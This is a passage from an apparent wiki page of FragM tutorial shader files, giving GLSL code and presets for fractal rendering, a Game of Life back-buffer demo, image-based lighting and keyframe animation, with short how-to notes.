Center = 0.0727965,-0.192122
Zoom = 0.141329
Gamma = 2.2
ToneMapping = 1
Exposure = 1
Brightness = 1
Contrast = 1
Saturation = 1
AARange = 4.15701
AAExp = 1.81626
GaussianAA = true
#endpreset&lt;/syntaxhighlight&gt;
|}

{| class=&quot;wikitable collapsible&quot;
! 21 - Progressive 2D Escape Time Fractal.frag
|-
| [https://github.com/3Dickulus/FragM/blob/master/Fragmentarium-Source/Examples/Tutorials/21%20-%20Progressive%202D%20Escape%20Time%20Fractal.frag 21 - Progressive 2D Escape Time Fractal.frag]
|-
| &lt;syntaxhighlight lang=&quot;glsl&quot; line='line'&gt;#include &quot;Progressive2DJulia.frag&quot;
#include &quot;Complex.frag&quot;

// An example of Escape Time Fractals, 
// using progressive rendering.
// Bbuffers are set up by the 'Progressive2DJulia' fragment.
// 
// Remember to set 'Render mode' to 'Continous'.
// Progressive rendering, makes very high-quality AA possible.

//  Fractal by Kali: http://www.fractalforums.com/new-theories-and-research/very-simple-formula-for-fractal-patterns/msg31800/#msg31800

uniform float MinRadius; slider[0,0,10]
uniform float Scaling; slider[-5,0,5]

vec2 formula(vec2 z,vec2 c) {
	float m =dot(z,z);
	if (m&lt;MinRadius) {
		z = abs(z)/(MinRadius*MinRadius);
	}else {
		z = abs(z)/m*Scaling;
	}
	return z+c;
}

#preset Default
Center = -0.118362,0.0108127
Zoom = 10.8053
Gamma = 2.5463
ToneMapping = 3
Exposure = 1.3044
Brightness = 1
Contrast = 1.0396
Saturation = 1.8817
AARange = 1
AAExp = 1
GaussianAA = false
Iterations = 1000
PreIterations = 15
R = 1
G = 0.84034
B = 0.525
C = 0.90756
Julia = true
JuliaX = 1.43649
JuliaY = 2.05404
ShowMap = false
MapZoom = 2.1
EscapeSize = 5
ColoringType = 0
ColorFactor = 0.5
MinRadius = 0
Scaling = -1.9231
#endpreset&lt;/syntaxhighlight&gt;
|}

{| class=&quot;wikitable collapsible&quot;
! 22 - Progressive 3D Rendering.frag
|-
| [https://github.com/3Dickulus/FragM/blob/master/Fragmentarium-Source/Examples/Tutorials/22%20-%20Progressive%203D%20Rendering.frag 22 - Progressive 3D Rendering.frag]
|-
| &lt;syntaxhighlight lang=&quot;glsl&quot; line='line'&gt;// An example of rendering using the progressive 3D ray tracer, 
// which makes it possible to use effects like real soft shadows,
// better anti-alias, better ambient-occlusion and depth-of-field.
// Rendering is much slower, though.
//
// To use it, just include &quot;Soft-Raytracer&quot; instead of &quot;DE-Raytracer&quot;
//
// Remember to set 'Render mode' to 'Continous'!

#info knot thingy by knighty (2012). Based on an idea by DarkBeam from fractalforums (http://www.fractalforums.com/new-theories-and-research/not-fractal-but-funny-trefoil-knot-routine/30/)
#include &quot;Soft-Raytracer.frag&quot;
#group Trefoil


//Radius of the tubes
uniform float tubeRadius; slider[0,0.1,0.5]

//Radius of the goup of tubes
uniform float groupRadius; slider[0,0.4,0.5]

//Radius of the whole object (because it looks like a torus (-:)
uniform float objectRadius; slider[0,1,1]

//Rotation Numerator X: actually not a rotation. This is frequency in x direction
uniform int    RotNumeratorX; slider[-10,2,10]

//Rotation Numerator Y: actually not a rotation. This is frequency in y direction. (lissajou figure)
uniform int    RotNumeratorY; slider[-10,4,10]

//Rotation Denominator: this is the rotation &quot;speed&quot; in xz plane
uniform int    RotDenominator; slider[1,3,20]

//Rotations number: how many instances to check. related to the period of the knot. Have to find math formula for that. 
uniform int    Rotations; slider[1,1,10]

float Cylinder(vec2 p){
	p.x-=groupRadius;
	return length(p)-tubeRadius;
}

float twist(vec3 p){//seen from above it is a lissajou fugure
	float ra =p.z*float(RotNumeratorX)/float( RotDenominator);
	float raz=p.z*float(RotNumeratorY)/float(RotDenominator);
	return length(p.xy-vec2(groupRadius*cos(ra)+objectRadius,groupRadius*sin(raz)+objectRadius))-tubeRadius;
}

vec3 bend2PI(vec3 p){
	return vec3(length(p.xz),p.y,atan(p.z,p.x));
}

float DE(vec3 p) {
	float r=length(p.xz), ang=atan(p.z,p.x),y=p.y;
	float d=10000.;
	for(int i=0; i&lt;Rotations;i++){
		vec3 p=vec3(r,y,ang+2.*PI*float(i));
		p.x-=objectRadius;
		d=min(d,twist(p));
	}
	return min(d,p.y);
}

#preset default
FOV = 0.62536
Eye = 0.77939,1.62364,1.44633
Target = -2.86937,-4.53699,-3.77496
Up = -0.312624,0.711048,-0.620502
EquiRectangular = false
FocalPlane = 1.4674
Aperture = 0.02
Gamma = 2.2685
ToneMapping = 2
Exposure = 0.9783
Brightness = 1
Contrast = 1.0891
Saturation = 1.4516
GaussianWeight = 1
AntiAliasScale = 2
Detail = -3
DetailAO = -0.14287
FudgeFactor = 0.66265
MaxRaySteps = 132
BoundingSphere = 4 Locked
Dither = 0 Locked
NormalBackStep = 1
AO = 0,0,0,0.61224
Specular = 0.3797
SpecularExp = 51.389
SpotLight = 0.811765,1,0.819608,2.2222
SpotLightPos = 5,2.676,-0.7042
SpotLightSize = 1.25157
CamLight = 0.0980392,0.713725,1,0.53846
CamLightMin = 0
Glow = 1,1,1,0
GlowMax = 20
Fog = 0
Shadow = 0.86364 NotLocked
Sun = 0.84582,1.57
SunSize = 0.01
Reflection = 0
BaseColor = 0.701961,0.701961,0.701961
OrbitStrength = 0
X = 0.411765,0.6,0.560784,0.41748
Y = 0.666667,0.666667,0.498039,-0.16504
Z = 1,0.258824,0.207843,1
R = 0.0823529,0.278431,1,0.82352
BackgroundColor = 0,0,0
GradientBackground = 0.3261
CycleColors = true
Cycles = 4.04901
EnableFloor = false
FloorNormal = 0,0,0
FloorHeight = 0
FloorColor = 1,1,1
tubeRadius = 0.07534
groupRadius = 0.29851
objectRadius = 0.43077
RotNumeratorX = -2
RotNumeratorY = -4
RotDenominator = 3
Rotations = 3
#endpreset&lt;/syntaxhighlight&gt;
|}

{| class=&quot;wikitable collapsible&quot;
! 23 - Working with the back buffer.frag
|-
| [https://github.com/3Dickulus/FragM/blob/master/Fragmentarium-Source/Examples/Tutorials/23%20-%20Working%20with%20the%20back%20buffer.frag 23 - Working with the back buffer.frag]
|-
| &lt;syntaxhighlight lang=&quot;glsl&quot; line='line'&gt;#buffer RGBA16
#include &quot;2D.frag&quot;

// A 'Game of Life' implementation
// demonstrating how to work with a pixel-accurate 
// back buffer.
// Switch to Continuous mode. Set Subframe max to zero!
// Make sure AntiAlias is off (set to 1).
//

uniform sampler2D backbuffer;
uniform float time;

/*
From Wikipedia:
Any live cell with fewer than two live neighbours dies, as if caused by under-population.
Any live cell with two or three live neighbours lives on to the next generation.
Any live cell with more than three live neighbours dies, as if by overcrowding.
Any dead cell with exactly three live neighbours becomes a live cell, as if by reproduction.
*/

vec2 position = (viewCoord*1.0+vec2(1.0))/2.0;


float rand(vec2 co){
	// implementation found at: lumina.sourceforge.net/Tutorials/Noise.html
	return fract(sin(dot(co.xy ,vec2(12.9898,78.233))) * 43758.5453);
}


#define SubframeMax 0
#define IterationsBetweenRedraws 20

#TexParameter backbuffer GL_TEXTURE_MAG_FILTER GL_NEAREST
#TexParameter backbuffer GL_TEXTURE_WRAP_S GL_REPEAT
#TexParameter backbuffer GL_TEXTURE_WRAP_T GL_REPEAT

void  isAlive(float  dx, float  dy, inout int count) {
	 vec4 v1 = texture2D( backbuffer,  position + pixelSize*vec2( dx, dy ) );
      	 if (v1.x==1.0) count++;
}


vec3 color(vec2 z) {
	if (length(z)&lt;0.1 &amp;&amp; length(z)&gt;0.08) return (rand(time*z) &lt; 0.5 ? vec3(1.0,0.0,0.0) : vec3(0.0));
	vec4 v1 = texture2D( backbuffer, mod ( position , 1.0 ) );
	int neighbours = 0;
	int alive =0;
	 isAlive(0.0,0.0,alive);
	
	// Count neighbours
	isAlive(1.0,0.0, neighbours);
	isAlive(1.0,1.0, neighbours);
	isAlive(1.0,-1.0, neighbours);
	isAlive(0.0,1.0, neighbours);
	isAlive(0.0,-1.0, neighbours);
	isAlive(-1.0,1.0, neighbours);
	isAlive(-1.0,0.0, neighbours);
	isAlive(-1.0,-1.0, neighbours);
	
	// Rules
	if (alive==1) {
		if (neighbours&lt;2) return vec3(v1.x*0.99,v1.y*0.99,v1.z);
		else if (neighbours&lt;4) return vec3(1.0);
	} else {
		if (neighbours==3) return vec3(1.0);
	}

	return vec3(v1.x*0.95,v1.y*0.98,v1.z*0.999) ;
}


#preset Default
Center = 0,0
Zoom = 6.15279
AntiAliasScale = 1
AntiAlias = 1
#endpreset&lt;/syntaxhighlight&gt;
|}

{| class=&quot;wikitable collapsible&quot;
! 24 - Pure 3D.frag
|-
| [https://github.com/3Dickulus/FragM/blob/master/Fragmentarium-Source/Examples/Tutorials/24%20-%20Pure%203D.frag 24 - Pure 3D.frag]
|-
| &lt;syntaxhighlight lang=&quot;glsl&quot; line='line'&gt;#include &quot;3D.frag&quot;
uniform sampler2D texture; file[Ditch-River_2k.hdr]
uniform sampler2D texture2; file[Ditch-River_Env.hdr]

// An example of working with 3D without a distance estimator

// Free HDRI's: http://www.hdrlabs.com/sibl/archive.html

float sphereLine(vec3 pos, vec3 dir, vec3 center, float radius, out vec3 normal) {
	vec3 sd=center-pos;
	float b = dot(dir,sd);
	float temp = b*b+radius*radius-dot(sd,sd);
	if (temp&gt;0.0) {
		temp = b - sqrt(temp); // intersection distance
		normal = normalize((pos+temp*dir)-center);
		return temp;
	}
	normal = vec3(0.0);
	return -1.;
}

#define PI  3.14159265358979323846264

vec3 equirectangularMap(vec3 dir, sampler2D sampler) {
	dir = normalize(dir);
	vec2 longlat = vec2(atan(dir.y,dir.x),acos(dir.z));
 	return texture2D(sampler,longlat/vec2(2.0*PI,PI) ).xyz;
	
}

uniform float Specular; slider[0,1,1]
uniform float Diffuse;slider[0,1,1]

vec3 color(vec3 pos, vec3 dir) {
	
	vec3 normal = vec3(1.0,1.0,1.0);
	float intersect = 10000.0;
	vec3 finalNormal = vec3(0.0);
	for (int j = 0; j &lt; 6; j++) {
		float z = (float(j)-6.0)/2.0;
		float i = sphereLine(pos,normalize(dir),vec3(1.0,0.0+float(j),z),0.5, normal);
		if (i&lt;intersect &amp;&amp; i&gt;0.) {
			intersect =i;
			finalNormal = normal;
		}
	}
	
	if (intersect&lt;10000.) {
		vec3 reflected = -2.0*dot(dir,finalNormal)*finalNormal+dir;
		vec3 col = Specular*equirectangularMap(reflected, texture);
		vec3 col2 = Diffuse*equirectangularMap(finalNormal, texture2);
		return col+col2;
	}
	vec3 col =equirectangularMap(dir,texture);
	return col;
}


#preset Default
FOV = 0.4
Eye = 8.42062,8.55686,-1.41974
Target = 0.781867,2.10355,-1.35523
Up = 0.0291443,-0.024509,0.999275
EquiRectangular = false
FocalPlane = 1
Aperture = 0
Gamma = 2.2222
ToneMapping = 3
Exposure = 1
Brightness = 1
Contrast = 1
Saturation = 1
GaussianWeight = 1
AntiAliasScale = 2
texture = Ditch-River_2k.hdr
texture2 = Ditch-River_Env.hdr
Specular = 1,0
Diffuse = 1,0,1
#endpreset&lt;/syntaxhighlight&gt;
|}

{| class=&quot;wikitable collapsible&quot;
! 25 - Image Based Lighting.frag
|-
| [https://github.com/3Dickulus/FragM/blob/master/Fragmentarium-Source/Examples/Tutorials/25%20-%20Image%20Based%20Lighting.frag 25 - Image Based Lighting.frag]
|-
| &lt;syntaxhighlight lang=&quot;glsl&quot; line='line'&gt;// An example of Image Based Lighting.
//
// NOTICE:
//  The Ditch-River Panorama HDR is authored by 'Blotchi' and copyrighted by http://www.hdrlabs.com/sibl/archive.html
//  It is licensed under a CC3.0 license: http://creativecommons.org/licenses/by-nc-sa/3.0/us/
#include &quot;IBL-Raytracer.frag&quot;
#include &quot;QuilezLib.frag&quot;
#group TestScene
uniform float TextureScale; slider[0,1,40]

// Just a simple test scene...
float DE(vec3 p)
{
       p.xy=p.yx;
	float d = length(p+vec3(0.0,0.0,-0.25))-0.25;   //  sphere
	d= min(d, udRoundBox(p+vec3(0.2,1.0,-0.25),vec3(0.2),0.05)); // rounded box
	d =min(d, sdCone(p+vec3(1.,1.,-0.5),vec2(0.95,0.45))); // cone
	d = min(d, sdTorus88(p+vec3(-1.4,1.,-0.6),vec2(0.5,0.1))); // torus
	return min(p.z,d);// distance estimate
}

#preset Default
FOV = 0.58536
Eye = 0.246321,-1.72201,0.434156
Target = -5.5875,6.37903,-0.148662
Up = -0.00420879,0.0687221,0.997349
EquiRectangular = false
FocalPlane = 1
Aperture = 0
Gamma = 2.2685
ToneMapping = 3
Exposure = 0.82653
Brightness = 1
Contrast = 1
Saturation = 1
GaussianWeight = 1
AntiAliasScale = 2
Detail = -3.65484
DetailAO = -1.14289
FudgeFactor = 1
MaxRaySteps = 198
BoundingSphere = 4.3373
Dither = 0.5
NormalBackStep = 1
AO = 0,0,0,1
CamLight = 1,1,1,0
CamLightMin = 0
Glow = 1,1,1,0
GlowMax = 20
Fog = 0
Shadow = 0.70455
Background = Ditch-River_2k.hdr
Specular = Ditch-River_Env.hdr
Diffuse = Ditch-River_Env.hdr
EnvSpecular = 1.8
EnvDiffuse = 0
SpecularMax = 100
Sun = 1.38949,1.02653
SunSize = 0.0045
DebugSun = true
BaseColor = 1,1,1
OrbitStrength = 0
X = 0.5,0.6,0.6,0.2126
Y = 1,0.6,0,0.30708
Z = 0.8,0.78,1,0.35434
R = 0.666667,0.666667,0.498039,0.03174
BackgroundColor = 1,1,1
GradientBackground = 0.4348
CycleColors = false
Cycles = 1.1
EnableFloor = true
FloorNormal = 0,0,0.17074
FloorHeight = 0
FloorColor = 1,1,1
ShowFloor = false
TextureScale = 1
#endpreset&lt;/syntaxhighlight&gt;
|}

{| class=&quot;wikitable collapsible&quot;
! 26 - 3D fractals without a DE.frag
|-
| [https://github.com/3Dickulus/FragM/blob/master/Fragmentarium-Source/Examples/Tutorials/26%20-%203D%20fractals%20without%20a%20DE.frag 26 - 3D fractals without a DE.frag]
|-
| &lt;syntaxhighlight lang=&quot;glsl&quot; line='line'&gt;#info Mandelbulb without Distance Estimator

#define providesInside

#define providesColor

#include &quot;Brute-Raytracer.frag&quot;
#group Mandelbulb
//#define IterationsBetweenRedraws 5

// Number of fractal iterations.
uniform int Iterations;  slider[0,9,100]

// Mandelbulb exponent (8 is standard)
uniform float Power; slider[-10,8,10]

// Bailout radius
uniform float Bailout; slider[0,5,30]

uniform vec3 RotVector; slider[(0,0,0),(1,1,1),(1,1,1)]

uniform float RotAngle; slider[0.00,0,180]

uniform bool Julia; checkbox[false]
uniform vec3 JuliaC; slider[(-2,-2,-2),(0,0,0),(2,2,2)]

vec3 color(vec3 p) {
	return abs(vec3(p));
}

void powN2(inout vec3 z, float zr0) {
	float zo0 = asin( z.z/zr0 );
	float zi0 = atan( z.y,z.x );
	float zr = pow( zr0, Power-1.0 );
	float zo = zo0 * Power;
	float zi = zi0 * Power;
	zr *= zr0;
	z  = zr*vec3( cos(zo)*cos(zi), cos(zo)*sin(zi), sin(zo) );
}


bool inside(vec3 pos) {
	vec3 z=pos;
	float r;
	int i=0;
	r=length(z);
	while(r&lt;Bailout &amp;&amp; (i&lt;Iterations)) {
		powN2(z,r);
		z+=(Julia ? JuliaC : pos);
		r=length(z);
		i++;
	}
	return (r&lt;Bailout);
	
}

#preset Default
FOV = 0.62536
Eye = 0.137861,0.380908,-1.90454
Target = -1.05894,-1.3684,6.69989
Up = -0.970103,0.225702,-0.0892076
EquiRectangular = false
Gamma = 2.5
ToneMapping = 3
Exposure = 1.34694
Brightness = 1
Contrast = 0.9901
Saturation = 1
Near = 0.7368
Far = 2.45904
NormalScale = 0.58825
AOScale = 1.0194
Glow = 0.34167
AOStrength = 0.86047
Samples = 100
Stratify = true
DebugInside = false
SampleNeighbors = true
Specular = 0
SpecularExp = 5.455
SpotLight = 1,0.678431,0.494118,0.78431
SpotLightDir = 1,0.78126
CamLight = 1,1,1,0.38462
CamLightMin = 0
Fog = 0
ShowDepth = false
DebugNormals = false
BaseColor = 1,1,1
OrbitStrength = 0
X = 1,1,1,1
Y = 0.345098,0.666667,0,0.02912
Z = 1,0.666667,0,1
R = 0.0784314,1,0.941176,-0.0194
BackgroundColor = 0.607843,0.866667,0.560784
GradientBackground = 0.86955
CycleColors = false
Cycles = 1.1
Iterations = 9
Power = 8
Bailout = 5
RotVector = 1,1,1
RotAngle = 0
Julia = false
JuliaC = 0,0,0
#endpreset&lt;/syntaxhighlight&gt;
|}

{| class=&quot;wikitable collapsible&quot;
! 30 - Simple Keyframe Animation.frag
|-
| [https://github.com/3Dickulus/FragM/blob/master/Fragmentarium-Source/Examples/Tutorials/30%20-%20Simple%20Keyframe%20Animation.frag 30 - Simple Keyframe Animation.frag]

'''How-To create a KeyFrame Animation:'''

# Select Menu Item... Edit-&gt;Insert Command-&gt;Presets-&gt;Insert Preset From Current Settings or Push the &quot;F8&quot; key.
# This will give you the opportunity to choose a name or use the one provided.
# For a NON-KeyFrame preset change the name to whatever you like.
# Leave it as is to add this as a KeyFrame, must be named &quot;KeyFrame.nnn&quot; and it will auto increment as you add new ones.
# Must have at least 2 KeyFrames to begin animating.
# Suggest starting with only a default Preset.
# After adding a few keyframes select the &quot;Animation&quot; button then select &quot;Play&quot;. You should see your animation playing.
# If you already have keyframes and want to adjust one...
# Apply KeyFrame.nnn you want to edit as current view (from the Preset selection in the Parameters area)
# Make changes to your view, where you look at, location etc.
# Press the &quot;F9&quot; key to block mark the current keyframe in the text editor. (&quot;Apply&quot; does this for you)
# In the menu select &quot;Edit-&gt;Insert Command-&gt;Presets-&gt;Insert Preset From Current Settings&quot; or press the &quot;F8&quot; key.
# You will be shown &quot;KeyFrame.nnn&quot; where nnn is the same number as the currently selected frame.
# New camera coordinates will replace the block marked keyframe.
# That is it, done! this is how tutorial 30 was created
# Camera path KeyFrame presets are only saved to a file when you save the GLSL script you create them in.
# CTRL+S will save the current frag to file with no dialog.

|-
| &lt;syntaxhighlight lang=&quot;glsl&quot; line='line'&gt;#info Mandelbulb Anim Fragment
#info http://www.fractalforums.com/index.php?topic=16405.0
#define providesInit
#group Raytracer
// Sets focal plane to Target location 
uniform bool AutoFocus; checkbox[false]
#include &quot;DE-Raytracer-v0.9.10.frag&quot;
#include &quot;MathUtils.frag&quot;
#group Mandelbulb


// Number of fractal iterations.
uniform int Iterations;  slider[0,9,100]

// Number of color iterations.
uniform int ColorIterations;  slider[0,9,100]

// Mandelbulb exponent (8 is standard)
uniform float Power; slider[0,8,16]

// Bailout radius
uniform float Bailout; slider[0,5,30]

// Alternate is slightly different, but looks more like a Mandelbrot for Power=2
uniform bool AlternateVersion; checkbox[false]

uniform vec3 RotVector; slider[(0,0,0),(1,1,1),(1,1,1)]

uniform float RotAngle; slider[0.00,0,180]


#group Translation
uniform vec3 TransVector; slider[(-1,-1,-1),(1,0,0),(1,1,1)]
uniform float TransSpeed; slider[0,0,1]
uniform float ImpulseStrength; slider[0,0,10]
uniform float ImpulseRate; slider[0,0,10]
uniform float ImpulseOffset; slider[0,0,10]
uniform vec3 TRotVector; slider[(-1,-1,-1),(1,0,0),(1,1,1)]
uniform float TRotSpeed; slider[0,0,45]

mat3 rot;
uniform float time;

void init() {
	 rot = rotationMatrix3(normalize(RotVector), RotAngle);
}

// This is my power function, based on the standard spherical coordinates as defined here:
// http://en.wikipedia.org/wiki/Spherical_coordinate_system
//
// It seems to be similar to the one Quilez uses:
// http://www.iquilezles.org/www/articles/mandelbulb/mandelbulb.htm
//
// Notice the north and south poles are different here.
void powN1(inout vec3 z, float r, inout float dr) {
	// extract polar coordinates
	float theta = acos(z.z/r);
	float phi = atan(z.y,z.x);
	dr =  pow( r, Power-1.0)*Power*dr + 1.0;
	
	// scale and rotate the point
	float zr = pow( r,Power);
	theta = theta*Power;
	phi = phi*Power;
	
	// convert back to cartesian coordinates
	z = zr*vec3(sin(theta)*cos(phi), sin(phi)*sin(theta), cos(theta));
}

// This is a power function taken from the implementation by Enforcer:
// http://www.fractalforums.com/mandelbulb-implementation/realtime-renderingoptimisations/
//
// I cannot follow its derivation from spherical coordinates,
// but it does give a nice mandelbrot like object for Power=2
void powN2(inout vec3 z, float zr0, inout float dr) {
	float zo0 = asin( z.z/zr0 );
	float zi0 = atan( z.y,z.x );
	float zr = pow( zr0, Power-1.0 );
	float zo = zo0 * Power;
	float zi = zi0 * Power;
	dr = zr*dr*Power + 1.0;
	zr *= zr0;
	z  = zr*vec3( cos(zo)*cos(zi), cos(zo)*sin(zi), sin(zo) );
}


uniform bool Julia; checkbox[false]
uniform vec3 JuliaC; slider[(-2,-2,-2),(0,0,0),(2,2,2)]

// Compute the distance from `pos` to the Mandelbox.
float DE(vec3 pos) {
	vec3 z=pos;
	float r;
	float dr=1.0;
	int i=0;

	if (TRotSpeed&gt;0.0) {
		rot=rotationMatrix3(normalize(TRotVector),TRotSpeed*time);
		z*=rot;
	}
	if (TransSpeed&gt;0.0) {
		z+=normalize(TransVector)*time*TransSpeed*10.0;
	}
	if (ImpulseStrength&gt;0.0) {
		z+=normalize(TransVector)*(0.8+sin(time*ImpulseRate+ImpulseOffset))*ImpulseStrength;
	}

	r=length(z);
	while(r&lt;Bailout &amp;&amp; (i&lt;Iterations)) {
		if (AlternateVersion) {
			powN2(z,r,dr);
		} else {
			powN1(z,r,dr);
		}
		z+=(Julia ? JuliaC : pos);
		r=length(z);
		z*=rot;
		if (i&lt;ColorIterations) orbitTrap = min(orbitTrap, abs(vec4(z.x,z.y,z.z,r*r)));
		i++;
	}

//	if ((type==1) &amp;&amp; r&lt;Bailout) return 0.0;
	return 0.5*log(r)*r/dr;
	/*
	Use this code for some nice intersections (Power=2)
	float a =  max(0.5*log(r)*r/dr, abs(pos.y));
	float b = 1000;
	if (pos.y&gt;0)  b = 0.5*log(r)*r/dr;
	return min(min(a, b),
		max(0.5*log(r)*r/dr, abs(pos.z)));
	*/
}

float dummy(vec3 p){
p*=time;
return time;
}


#preset Default
FOV = 0.62536
Eye = 1.65826,-1.22975,0.277736
Target = -5.2432,4.25801,-0.607125
Up = 0.401286,0.369883,-0.83588
EquiRectangular = false
FocalPlane = 1
AutoFocus = false
Aperture = 0
Gamma = 2.08335
ToneMapping = 3
Exposure = 0.6522
Brightness = 1
Contrast = 1
Saturation = 1
GaussianWeight = 1
AntiAliasScale = 2
Detail = -2.84956
DetailAO = -1.35716
FudgeFactor = 1
MaxRaySteps = 164
BoundingSphere = 10
Dither = 0.51754
NormalBackStep = 1
AO = 0,0,0,0.85185
Specular = 1.6456
SpecularExp = 16.364
SpecularMax = 10
SpotLight = 1,1,1,1
SpotLightDir = -0.22666,0.5
CamLight = 1,1,1,1.53846
CamLightMin = 0.12121
Glow = 1,1,1,0.43836
GlowMax = 52
Fog = 0
HardShadow = 0.35385
ShadowSoft = 12.5806
Reflection = 0
BaseColor = 1,1,1
OrbitStrength = 0.14286
X = 1,1,1,1
Y = 0.345098,0.666667,0,0.02912
Z = 1,0.666667,0,1
R = 0.0784314,1,0.941176,-0.0194
BackgroundColor = 0.607843,0.866667,0.560784
GradientBackground = 0.3261
CycleColors = false
Cycles = 4.04901
EnableFloor = true
FloorNormal = 0,1,0
FloorHeight = -2
FloorColor = 1,1,1
Iterations = 12
ColorIterations = 8
Power = 8
Bailout = 6.279
AlternateVersion = true
RotVector = 1,1,1
RotAngle = 0
Julia = false
JuliaC = 0,0,0
#endpreset


#preset KeyFrame.001
FOV = 0.62536
Eye = 1.65826,-1.22975,0.277736
Target = -5.2432,4.25801,-0.607125
Up = 0.401286,0.369883,-0.83588
#endpreset

#preset KeyFrame.002
FOV = 0.62536
Eye = 3.96463,0.917888,0.279432
Target = -4.74042,-0.257782,-0.320685
Up = -0.709039,0.700838,-0.0780331
#endpreset

#preset KeyFrame.003
FOV = 0.62536
Eye = 1.33376,0.978975,2.81437
Target = -2.37223,0.395544,-5.15089
Up = 0.0655203,0.994792,0.0780753
#endpreset

#preset KeyFrame.004
FOV = 0.62536
Eye = -0.146262,0.991041,-0.550259
Target = -7.41034,2.09513,-5.36868
Up = 0.0484982,0.797152,0.601827
#endpreset&lt;/syntaxhighlight&gt;
|}

{| class=&quot;wikitable collapsible&quot;
! 31 - Simple Focal Plane Tracking Target.frag
|-
| [https://github.com/3Dickulus/FragM/blob/master/Fragmentarium-Source/Examples/Tutorials/31%20-%20Simple%20Focal%20Plane%20Tracking%20Target.frag 31 - Simple Focal Plane Tracking Target.frag]

'''How-To Enable Auto Focus'''

Add this line to your frag code, preferably in the &quot;Camera&quot; group if the AutoFocus widget doesn't already exist...
 uniform bool AutoFocus; checkbox[false]

Now you can enable/disable focal plane target tracking, the focal plane default maximum distance is 5,

if you need more than that open the .frag file that contains the &quot;FocalPlane&quot; widget and edit the maximum...

 uniform float FocalPlane; slider[0,1,5]

to what ever you need like...

 uniform float FocalPlane; slider[0,1,50]


keep in mind that the target floats around at some distance from the camera, dynamically adjusted (sometimes a lot) as you navigate, it is generally beyond what you are looking at and will need to be set before you create a keyframe or they will need to be adjusted by hand in the keyframe presets.


NOTE:Mid Mouse Button Click on the fractal object should set the target at the surface of the fractal where you click.

|-
| &lt;syntaxhighlight lang=&quot;glsl&quot; line='line'&gt;#info Mandelbulb Anim Fragment
#info http://www.fractalforums.com/index.php?topic=16405.0
#define providesInit

#group Raytracer
// Sets focal plane to Target location 
//uniform bool AutoFocus; checkbox[false]

#include &quot;DE-Raytracer-v0.9.10.frag&quot;
#include &quot;MathUtils.frag&quot;

#group Mandelbulb

// Number of fractal iterations.
uniform int Iterations;  slider[0,9,100]

// Number of color iterations.
uniform int ColorIterations;  slider[0,9,100]

// Mandelbulb exponent (8 is standard)
uniform float Power; slider[0,8,16]

// Bailout radius
uniform float Bailout; slider[0,5,30]

// Alternate is slightly different, but looks more like a Mandelbrot for Power=2
uniform bool AlternateVersion; checkbox[false]

uniform vec3 RotVector; slider[(0,0,0),(1,1,1),(1,1,1)]

uniform float RotAngle; slider[0.00,0,180]

#group Translation
uniform vec3 TransVector; slider[(-1,-1,-1),(1,0,0),(1,1,1)]
uniform float TransSpeed; slider[0,0,1]
uniform float ImpulseStrength; slider[0,0,10]
uniform float ImpulseRate; slider[0,0,10]
uniform float ImpulseOffset; slider[0,0,10]
uniform vec3 TRotVector; slider[(-1,-1,-1),(1,0,0),(1,1,1)]
uniform float TRotSpeed; slider[0,0,45]

mat3 rot;
uniform float time;

void init() {
	 rot = rotationMatrix3(normalize(RotVector), RotAngle);
}

// This is my power function, based on the standard spherical coordinates as defined here:
// http://en.wikipedia.org/wiki/Spherical_coordinate_system
//
// It seems to be similar to the one Quilez uses:
// http://www.iquilezles.org/www/articles/mandelbulb/mandelbulb.htm
//
// Notice the north and south poles are different here.
void powN1(inout vec3 z, float r, inout float dr) {
	// extract polar coordinates
	float theta = acos(z.z/r);
	float phi = atan(z.y,z.x);
	dr =  pow( r, Power-1.0)*Power*dr + 1.0;
	
	// scale and rotate the point
	float zr = pow( r,Power);
	theta = theta*Power;
	phi = phi*Power;
	
	// convert back to cartesian coordinates
	z = zr*vec3(sin(theta)*cos(phi), sin(phi)*sin(theta), cos(theta));
}

// This is a power function taken from the implementation by Enforcer:
// http://www.fractalforums.com/mandelbulb-implementation/realtime-renderingoptimisations/
//
// I cannot follow its derivation from spherical coordinates,
// but it does give a nice mandelbrot like object for Power=2
void powN2(inout vec3 z, float zr0, inout float dr) {
	float zo0 = asin( z.z/zr0 );
	float zi0 = atan( z.y,z.x );
	float zr = pow( zr0, Power-1.0 );
	float zo = zo0 * Power;
	float zi = zi0 * Power;
	dr = zr*dr*Power + 1.0;
	zr *= zr0;
	z  = zr*vec3( cos(zo)*cos(zi), cos(zo)*sin(zi), sin(zo) );
}


uniform bool Julia; checkbox[false]
uniform vec3 JuliaC; slider[(-2,-2,-2),(0,0,0),(2,2,2)]

// Compute the distance from `pos` to the Mandelbox.
float DE(vec3 pos) {
	vec3 z=pos;
	float r;
	float dr=1.0;
	int i=0;

	if (TRotSpeed&gt;0.0) {
		rot=rotationMatrix3(normalize(TRotVector),TRotSpeed*time);
		z*=rot;
	}
	if (TransSpeed&gt;0.0) {
		z+=normalize(TransVector)*time*TransSpeed*10.0;
	}
	if (ImpulseStrength&gt;0.0) {
		z+=normalize(TransVector)*(0.8+sin(time*ImpulseRate+ImpulseOffset))*ImpulseStrength;
	}

	r=length(z);
	while(r&lt;Bailout &amp;&amp; (i&lt;Iterations)) {
		if (AlternateVersion) {
			powN2(z,r,dr);
		} else {
			powN1(z,r,dr);
		}
		z+=(Julia ? JuliaC : pos);
		r=length(z);
		z*=rot;
		if (i&lt;ColorIterations) orbitTrap = min(orbitTrap, abs(vec4(z.x,z.y,z.z,r*r)));
		i++;
	}

//	if ((type==1) &amp;&amp; r&lt;Bailout) return 0.0;
	return 0.5*log(r)*r/dr;
	/*
	Use this code for some nice intersections (Power=2)
	float a =  max(0.5*log(r)*r/dr, abs(pos.y));
	float b = 1000;
	if (pos.y&gt;0)  b = 0.5*log(r)*r/dr;
	return min(min(a, b),
		max(0.5*log(r)*r/dr, abs(pos.z)));
	*/
}

float dummy(vec3 p){
p*=time;
return time;
}

#preset Default
FOV = 0.62536
Eye = 1.65826,-1.22975,0.277736
Target = -5.2432,4.25801,-0.607125
Up = 0,1,0
EquiRectangular = false
AutoFocus = true
FocalPlane = 1
Aperture = 0.05
Gamma = 2.08335
ToneMapping = 3
Exposure = 0.6522
Brightness = 1
Contrast = 1
Saturation = 1
GaussianWeight = 1
AntiAliasScale = 2
Detail = -2.84956
DetailAO = -1.35716
FudgeFactor = 1
MaxRaySteps = 164
BoundingSphere = 10
Dither = 0.51754
NormalBackStep = 1
AO = 0,0,0,0.85185
Specular = 1.6456
SpecularExp = 16.364
SpecularMax = 10
SpotLight = 1,1,1,1
SpotLightDir = -0.22666,0.5
CamLight = 1,1,1,1.53846
